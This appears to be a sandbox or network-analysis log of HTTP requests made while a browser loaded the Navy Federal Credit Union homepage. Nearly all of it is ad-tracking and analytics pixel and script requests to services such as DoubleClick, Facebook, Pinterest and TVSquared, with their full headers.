Source: global traffic	HTTP traffic detected: GET /ddm/fls/z/dc_pre=CPmT-vKup4YDFd50QQIdxWULrA;src=9749892;type=gener0;cat=nfcu_0;ord=8505920471743;npa=0;auiddc=;ps=1;pcor=843276876;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F HTTP/1.1Host: adservice.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /i/pp.html HTTP/1.1Host: cdn.pbbl.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track/pxl/?adv=pcl8biy&ct=0:3qygypv&fmt=3 HTTP/1.1Host: insight.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v3/?tid=2617254381486&noscript=1 HTTP/1.1Host: ct.pinterest.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v3/?event=PageView&tid=2617254381486&noscript=1 HTTP/1.1Host: ct.pinterest.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ddm/fls/z/dc_pre=CICW_fKup4YDFatfQQIdj2MHQA;src=2992003;type=nfcuf0;cat=nfcuh0;ord=8832101066273;npa=0;auiddc=;ps=1;pcor=932176874;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0v9185367349za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F HTTP/1.1Host: adservice.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://2992003.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /d2/bf474ba2-6d98-11ec-9997-2d0ad9c70a7f/2873/impression?dnt=false&vpxid=2873&bwb=35&us_privacy={{US_PRIVACY_STRING}} HTTP/1.1Host: b.videoamp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/current/dpm_pixel_min.js?aid=navy-federal-credit-union-ab4e3950-2e70-405c-b377-dcb1b8bfbe47 HTTP/1.1Host: c.tvpixel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel/conv/ppt=17946;g=sitewide_visits;gid=40999;ord=1699106905%20height= HTTP/1.1Host: trkn.usConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /privacy_sandbox/pixel/register/trigger/?id=125275241484882&ev=PageView&dl=https%3A%2F%2Fwww.navyfederal.org%2F&rl=&if=false&ts=1716590756256&sw=1280&sh=1024&v=2.9.156&r=stable&ec=0&o=4126&fbp=fb.1.1716590756253.2112400685&cs_est=true&ler=empty&cdl=API_unavailable&it=1716590754132&coo=false&rqm=FGET HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tr/?id=125275241484882&ev=PageView&dl=https%3A%2F%2Fwww.navyfederal.org%2F&rl=&if=false&ts=1716590756256&sw=1280&sh=1024&v=2.9.156&r=stable&ec=0&o=4126&fbp=fb.1.1716590756253.2112400685&cs_est=true&ler=empty&cdl=API_unavailable&it=1716590754132&coo=false&rqm=GET HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /activity;register_conversion=1;src=9749892;type=gener0;cat=nfcu_000;ord=6213689762165;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=893322139;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F? HTTP/1.1Host: ad.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; IDE=AHWqTUk2lHwRipcrvFKh3Vm5dsyp7CjA76h6cSO9XW9R4T8y7lZnxnsmfXZE4wBQqGQ
Source: global traffic	HTTP traffic detected: GET /js/tc.min.js HTTP/1.1Host: c1.rfihub.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /p13n/navy-federal-credit-union/p13n.min.js HTTP/1.1Host: cdn.boomtrain.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /activity;register_conversion=1;src=9749892;type=gener0;cat=nfcu_0;ord=8505920471743;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=843276876;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F? HTTP/1.1Host: ad.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg
Source: global traffic	HTTP traffic detected: GET /activity;register_conversion=1;src=2992003;type=nfcuf0;cat=nfcuh0;ord=8832101066273;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=932176874;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0v9185367349za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F? HTTP/1.1Host: ad.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg
Source: global traffic	HTTP traffic detected: GET /ddm/fls/z/dc_pre=CPmR_PKup4YDFT1vQQId598InA;src=9749892;type=gener0;cat=nfcu_000;ord=6213689762165;npa=0;auiddc=;ps=1;pcor=893322139;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F HTTP/1.1Host: adservice.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /up_loader.1.1.0.js HTTP/1.1Host: js.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sifitag/601005f1-638d-45e3-9d29-e04168bb80b3 HTTP/1.1Host: tag.simpli.fiConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=903&dpuuid=00d6b47b-5df0-41e1-812e-c334ebaa9abf&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Daam HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=15028710952493579300771312513576972253; dpm=15028710952493579300771312513576972253
Source: global traffic	HTTP traffic detected: GET /pixel/conv/ppt=17946;g=sitewide_visits;gid=40999;ord=1699106905%20height=;ip=8.46.123.175;cuidchk=1 HTTP/1.1Host: trkn.usConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: barometric[cuid]=cuid_665118a9-1d52-4736-b8e5-2579d93bc663
Source: global traffic	HTTP traffic detected: GET /ddm/activity/attribution_src_register;crd=Zmxvb2RsaWdodF9jb25maWdfaWQ6IDk3NDk4OTIKYWR2ZXJ0aXNlcl9kb21haW46ICJodHRwczovL25hdnlmZWRlcmFsLm9yZyIKeGZhX2F0dHJpYnV0aW9uX2ludGVyYWN0aW9uX3R5cGU6IENPTlZFUlNJT04KZGVidWdfa2V5OiAxMTM4MTE1NDUyNjIwNDA4ODI2MwpjdGNfY29udmVyc2lvbl9idWNrZXQ6IDIKYXJjaGV0eXBlX2lkOiAxMgphcmNoZXR5cGVfaWQ6IDEzCmFyY2hldHlwZV9pZDogMTQKYXJjaGV0eXBlX2lkOiAxNQphcmNoZXR5cGVfaWQ6IDE2CmFyY2hldHlwZV9pZDogMTcKYXJjaGV0eXBlX2lkOiAxOAphcmNoZXR5cGVfaWQ6IDE5CmFyY2hldHlwZV9pZDogMjAKYXJjaGV0eXBlX2lkOiAyMQphcmNoZXR5cGVfaWQ6IDYyODcyODM4OAphcmNoZXR5cGVfaWQ6IDYyODcyODM4OQphcmNoZXR5cGVfaWQ6IDYyODcyODM5MAphcmNoZXR5cGVfaWQ6IDYyODcyODM5MQphcmNoZXR5cGVfaWQ6IDYyODcwNjE4MAphcmNoZXR5cGVfaWQ6IDYyODcwNjE4MQphcmNoZXR5cGVfaWQ6IDYyODcwNjE4MgphcmNoZXR5cGVfaWQ6IDYyODcwNjE4MwphcmNoZXR5cGVfaWQ6IDYyODc3NDA1MgphcmNoZXR5cGVfaWQ6IDYyODc3NDA1MwphcmNoZXR5cGVfaWQ6IDYyODc3NDA1NAphcmNoZXR5cGVfaWQ6IDYyODc3NDA1NQphcmNoZXR5cGVfaWQ6IDYyODc5MDYwOAphcmNoZXR5cGVfaWQ6IDYyODc5MDYwOQphcmNoZXR5cGVfaWQ6IDYyODc5MDYxMAphcmNoZXR5cGVfaWQ6IDYyODc5MDYxMQphcmNoZXR5cGVfaWQ6IDYyODUxMzY4MAphcmNoZXR5cGVfaWQ6IDYyODUxMzY4MQphcmNoZXR5cGVfaWQ6IDYyODUxMzY4MgphcmNoZXR5cGVfaWQ6IDYyODUxMzY4MwphcmNoZXR5cGVfaWQ6IDYyODg1Mzg2MAphcmNoZXR5cGVfaWQ6IDYyODg1Mzg2MQphcmNoZXR5cGVfaWQ6IDYyODg1Mzg2MgphcmNoZXR5cGVfaWQ6IDYyODg1Mzg2Mwpjb252ZXJzaW9uX21lYXN1cmVtZW50X2RpbWVuc2lvbnNfZGF0YSB7CiAgbWVhc3VyZW1lbnRfZGltZW5zaW9uOiBDT05WRVJTSU9OX0RJTUVOU0lPTl9GTE9PRExJR0hUX0FDVElWSVRZX0lECiAgbWVhc3VyZW1lbnRfZGltZW5zaW9uX3ZhbHVlIHsKICAgIGludDY0X3ZhbHVlOiAxMzg4NjQyNgogIH0KfQpjb252ZXJzaW9uX21lYXN1cmVtZW50X2RpbWVuc2lvbnNfZGF0YSB7CiAgbWVhc3VyZW1lbnRfZGltZW5zaW9uOiBDT05WRVJTSU9OX0RJTUVOU0lPTl9DT05WRVJTSU9OX0RBVEUKICBtZWFzdXJlbWVudF9kaW1lbnNpb25fdmFsdWUgewogICAgc3RyaW5nX3ZhbHVlOiAiMjAyNC0wNS0yNCIKICB9Cn0KYnJvd3Nlcl9hdHRyaWJ1dGlvbl9hcGlfcmVxdWVzdF9wcm9jZXNzaW5nX2JpdHM6IDUzNjg3MDkxMgp0cmlnZ2VyX2RlZHVwbGljYXRpb25fa2V5OiAxMDE1Mjk2MTQ4MDczODk3NTAzOApnYWlhX21vZGU6IGZhbHNlCmVjaG9fc2VydmVyX2FjdGlvbjogRUNIT19TRVJWRVJfQUNUSU9OX0ZPUkNFX0RFTEVHQVRFRF9BUkEKcmVkaXJlY3RfdXJsX2Zyb21fZWNob19zZXJ2ZXI6ICJodHRwczovL2Fkc2VydmljZS5nb29nbGUuY29tL2RkbS9mbHMvei9zcmM9OTc0OTg5MjtkY19wcmU9Q0xPdjRQT3VwNFlERlVySE93SWQ4TDBKNEE7dHlwZT1nZW5lcjA7Y2F0PW5mY3VfMDAwO2RjX2xhdD07ZGNfcmRpZD07dGFnX2Zvcl9jaGlsZF9kaXJlY3RlZF90cmVhdG1lbnQ9O3RmdWE9O25wYT07Z2Rwcj0kJTdCR0RQUiU3RDtnZHByX2NvbnNlbnQ9JCU3QkdEUFJfQ09OU0VOVF83NTUlN0Q7b3JkPTEiCmFnZ3JlZ2F0aW9uX2Nvb3JkaW5hdG9yOiBBR0dSRUdBVElPTl9DT09SRElOQVRPUl9BV1MKZmxvb2RsaWdodF9hcmFfY29uZmlncyB7CiAgYXJjaGV0eXBlc19jb25maWcgewogICAgYWdncmVnYXRlX2tleV9hcmNoZXR5cGVzIHsKICAgICAgYXJjaGV0eXBlX2lkOiA2Mjg3MjgzODgKICAgICAgaW1wcmVzc2lvbl9hcmNoZXR5cGVfaWQ6IDEyCiAgICAgIGNvbnZlcnNpb25fYXJjaGV0eXBlX2lkOiAyCiAgICAgIGNvbnZfbWV0cmljX3R5cGU6IE1FVFJJQ19UWVBFX0NPVU5UCiAgICAgIGFnZ3JlZ2F0ZV9rZXlfbGV2ZWw6IDEKICAgICAgY29udHJpYnV0aW9uX3BlcmNlbnRhZ2U6IDAuMDEKICAgIH0KICAgIGFnZ3JlZ2F0ZV9rZXlfYXJjaGV0eXBlcyB7CiAgICAgIGFyY2hldHlwZV9pZDogNjI4NzI4Mzg5CiAgICAgIGltcHJlc3Npb25fYXJjaGV0eXBlX2lkOiAxNgogICAgICBjb252ZXJzaW9uX2FyY2hldHlwZV9pZDogMgogICAgICBjb252X21ldHJpY190eXBlOiBNRVRSS
Source: global traffic	HTTP traffic detected: GET /tv2track.php?action_name=Navy%20Federal%20Credit%20Union%20%7C%20Banking%2C%20Loans%2C%20Mortgages%20%26%20Credit%20Cards%20%7C%20Navy%20Federal%20Credit%20Union&idsite=TV-8181450918-1&rec=1&r=104600&h=18&m=45&s=58&url=https%3A%2F%2Fwww.navyfederal.org%2F&_id=42a926125f51d849&_idts=1716590758&_idvc=0&_idn=1&_viewts=&pdf=1&qt=0&realp=0&wma=0&dir=0&fla=0&java=0&gears=0&ag=0&cookie=1&res=1280x1024&gt_ms=578 HTTP/1.1Host: collector-11598.tvsquared.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tv2track.php?action_name=Navy%20Federal%20Credit%20Union%20%7C%20Banking%2C%20Loans%2C%20Mortgages%20%26%20Credit%20Cards%20%7C%20Navy%20Federal%20Credit%20Union&idsite=TV-8181450918-1&rec=1&r=270625&h=18&m=45&s=58&url=https%3A%2F%2Fwww.navyfederal.org%2F&_id=42a926125f51d849&_idts=1716590758&_idvc=0&_idn=0&_viewts=&pdf=1&qt=0&realp=0&wma=0&dir=0&fla=0&java=0&gears=0&ag=0&cookie=1&res=1280x1024&gt_ms=578 HTTP/1.1Host: collector-11598.tvsquared.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v3/?tid=2617254381486&noscript=1 HTTP/1.1Host: ct.pinterest.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; _pinterest_ct_ua="TWc9PSZ1d2ozeHFNMjhYaTcyMXN3eFJFbHdzZ1VvaCt5UzFWczA4c3BIcjh5ZHpmUmlEWXFZdzhGWEVkNGxCOUhaYWdieE9sNDZkODhKcGxKdTFrVkRLdnRrMWtkYkQ1WkQ4NDI1UkRmdjE2UnIxTT0mMWhscGEzTloyMDMvSndQd2xPRGxsb2FyS3JJPQ=="
Source: global traffic	HTTP traffic detected: GET /v3/?event=PageView&tid=2617254381486&noscript=1 HTTP/1.1Host: ct.pinterest.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; _pinterest_ct_ua="TWc9PSZ1d2ozeHFNMjhYaTcyMXN3eFJFbHdzZ1VvaCt5UzFWczA4c3BIcjh5ZHpmUmlEWXFZdzhGWEVkNGxCOUhaYWdieE9sNDZkODhKcGxKdTFrVkRLdnRrMWtkYkQ1WkQ4NDI1UkRmdjE2UnIxTT0mMWhscGEzTloyMDMvSndQd2xPRGxsb2FyS3JJPQ=="
